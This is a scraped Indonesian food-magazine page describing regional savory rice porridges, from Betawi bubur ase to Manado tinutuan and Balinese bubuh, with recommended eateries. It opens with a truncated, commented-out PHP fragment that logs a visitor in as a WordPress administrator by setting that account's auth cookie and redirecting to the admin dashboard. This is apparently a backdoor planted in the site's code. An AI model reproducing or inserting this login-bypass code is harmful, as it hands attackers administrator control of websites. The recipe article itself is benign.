user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Food Trend
Warna-warni Bubur Indonesia

16 Nov 2012


Keragaman budaya dan hasil bumi melahirkan warna berbeda pada bubur di beberapa wilayah Indonesia. Berikut ini beberapa versi asli sajian bubur (bubur bercita rasa gurih dari beras) yang ada di Indonesia. Namun, dalam migrasinya ke kota/daerah lain (termasuk ke Jakarta), mungkin saja terjadi ‘penyesuaian’ demi memenuhi selera setempat. Jadi, tak perlu bingung jika (mungkin) di kota Anda ada salah satu jenis bubur berikut yang tak sama persis dengan ‘pakem’ ini


Bubur Ase - BETAWI

Ase adalah singkatan dari asinan semur, sebab bubur ini disiram kuah semur yang nyaris membanjiri piring, lengkap dengan potongan daging sapi, kentang dan tahu. Uniknya, juga ada asinan sayuran yang terdiri dari wortel, kol, mentimun, taoge, dan sawi. Kecutnya menjadi elemen penting bagi kuah yang sangat manis ini.
Meski asli dari Betawi, sayangnya  jajanan bubur ase tak beredar seluas bubur Sukabumi dan bubur Cianjur di Jakarta. Warung Mpok Neh di kawasan Kebon Kacang, menjadi sedikit tempat di mana Anda bisa mencoba kelangkaan bubur ini.










Bubur Kanji Rumbi - ACEH

Ie bu kanji adalah sebutan lain yang diberikan orang Aceh pada bubur kanji rumbi. Ada rasa kari pada bubur yang terpengaruh dari budaya India ini. Pekak, kayu manis, pala, merica, adas manis, ketumbar, jahe, dan bawang merah saling merger di dalamnya. Makin sedap saat ditambahkan potongan daging ayam yang dimasukkan kala memasak bubur. Cita rasa gurih sukses diraih berkat sari pati ayam yang larut ke dalam bubur. Tambahkan udang rebus/ tumis saat disajikan untuk memperkaya rasanya.
Bagi masyarakat Aceh, makanan ini kerap hadir sebagai takjil di bulan Ramadan. Bila Anda  sedang berkunjung ke kota Serambi Mekkah, sempatkan menyambangi Canai Mamak di kawasan Teuku Umar untuk mencicipi bubur khas ini.




Bubur SUKABUMI  & CIANJUR

Kedua jenis bubur ini sama-sama bersiram kuah berwarna kekuningan. Warnanya mirip, tapi rasanya agak berbeda. Bubur ayam Sukabumi kuahnya menggunakan racikan bumbu soto. Khas ditemani cah sawi asin, tahu goreng, semur kentang, dan mentimun yang tersaji dalam wadah terpisah. Cakwe dan kulit pangsit goreng ditabur di atasnya. Boleh juga ditambahkan satai hati-ampela dan telur rebus agar lebih mengenyangkan.  Bubur Sukabumi di Jl. H.O.S Tjokroaminoto (depan toko manisan Mulia Sari) adalah salah satu pilihan yang terkenal di Sukabumi.
Bubur Cianjur selain dibumbui kecap asin (merek lokal yang terkenal adalah Patkwa Padi) juga dibanjiri kuah berbumbu pepes (dari kaldu ayam dengan paduan bumbu pepes dan irisam bawang daun yang royal plus hati-ampela-usus serta kentang) yang biasa disebut pais bawang. Taburannya adalah kacang kedelai goreng, emping, dan kerupuk putih khas Cianjur.
Cianjut memang terkenal sebagai produsen beras dengan kualitas yang baik . Tak heran jika banyak yang bilang, bubur Cianjur ini begitu gurih, kental, dan lezat.  Menurut beberapa sumber, Anda bisa mencicipi kelezatan bubur ini di Bubur Ayam Cianjur Pasar Bojong Meron, Cianjur.
Cianjur dan Sukabumi terjkenal sebagai produsen beras kualitas baik. Tak heran jika banyak yang bilang, kedua bubur ini begitu gurih, kental, dan lezat.




Bubur Pedas - MEDAN & RIAU

Advertisement
Dua daerah yang kental dengan budaya Melayu ini memiliki bubur yang saling mirip. Orang Melayu Riau melafalkannya sebagai bubo pedas. Warna bubur ini kecokelatan karena kaya rempah. Warna keruh ini juga diraih dari beras yang disangrai dahulu dan ditumbuk hingga hampir hancur.
    Dalam bubo pedas ada kacang tanah, kacang panjang, jagung, dan jamur kuping. Rumah tangga modern di Riau juga menambahkan makaroni. Semuanya ini wangi berkat tumisan bumbu terasi dan cabai, serta pamungkas berupa daun kesum dan ikan asap (tenggiri atau tongkol yang lantas disuwir).
Berbeda dengan Riau, versi Medan, Sumatra Utara, berisi daging ayam, udang. Sayurannya adalah daun mangkokan, daun mengkudu, daun jeruk, daun kunyit, dan daun jambu biji. Rasa rempahnya yang kompleks terdiri atas dominasi kunyit, temu kunci, jintan, serai, dan temu mangga. Biasanya  tiap bulan Ramadan, masjid-masjid besar di Medan akan membagikan bubur pedas gratis kepada pengunjung. Di sekitar Masjid Raya Al- Mashun Medan, juga ada kedai semipermanen yang menjual bubur Medan yang nendang.


Bubur Lambuk - PONTIANAK

Dikenal juga dengan bubur padas. Bubur ini dimasak dengan tambahan potongan cabai merah keriting. Kelapa parut yang ditambahkan saat memasak bubur makin mempertegas rasa gurih pada bubur. Isi lainnya adalah daun pakis, daun kesum, kacang panjang, kangkung, dan taoge. Pamungkasnya adalah taburan teri dan kacang tanah. Biasanya, bubur lambuk selalu hadir saat acara kumpul keluarga, selamatan, dan acara adat. Bubur Pedas Pa'Ngah di Jl. Yos Sudarso menjual versinya yang sangat enak.









Bubur Tinutuan - MANADO

Beras dimasak bersama sayuran (biasanya kangkung, daun melinjo, daun kemangi). Ciri khasnya adalah penambahan umbi-umbian dan jagung manis pipil. Ditambahkan juga potongan ikan tongkol atau ikan asin. Tak boleh dilupakan sambal dabu-dabu atau sambal bakasang (sambal terasi) sebagai pelengkap supaya rasanya makin mantap.
Menjamurnya resto masakan Manado di luar wilayah Sulawesi Utara, memudahkan bubur tinutuan ditemui kapan pun. Dego Dego Manado Café tersohor, karena menjual bubur Manado yang padat bumbu.











Bubuh Mengguh & Bubuh Mebasa - BALI
Awalnya bubur ini dinikmati saat sore sambil istirahat selepas bertani di sawah. Urap sayuran kacang panjang menggunung di atas bubuh (bubur dalam bahasa Bali) mengguh. Saat diaduk, kelapa parut berbumbu pedas ini memberi tendangan seru pada bubur. Ada pula versi yang menyertakan ayam suwir pada urapnya. Tak lupa diberi taburan kacang tanah, bawang goreng, dan serundeng basah.
Ada juga bubur buning atau dikenal juga bubuh mebasa (‘bubur berbumbu’ dalam bahasa Bali). Warnanya kuning berempah berkat paduan bumbu dasar magenep (kunyit, kencur, ketumbar, bawang merah, bawang putih, cabai, jahe). Sajikan bersama daging ayam suwir dan kerupuk.(f)





 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?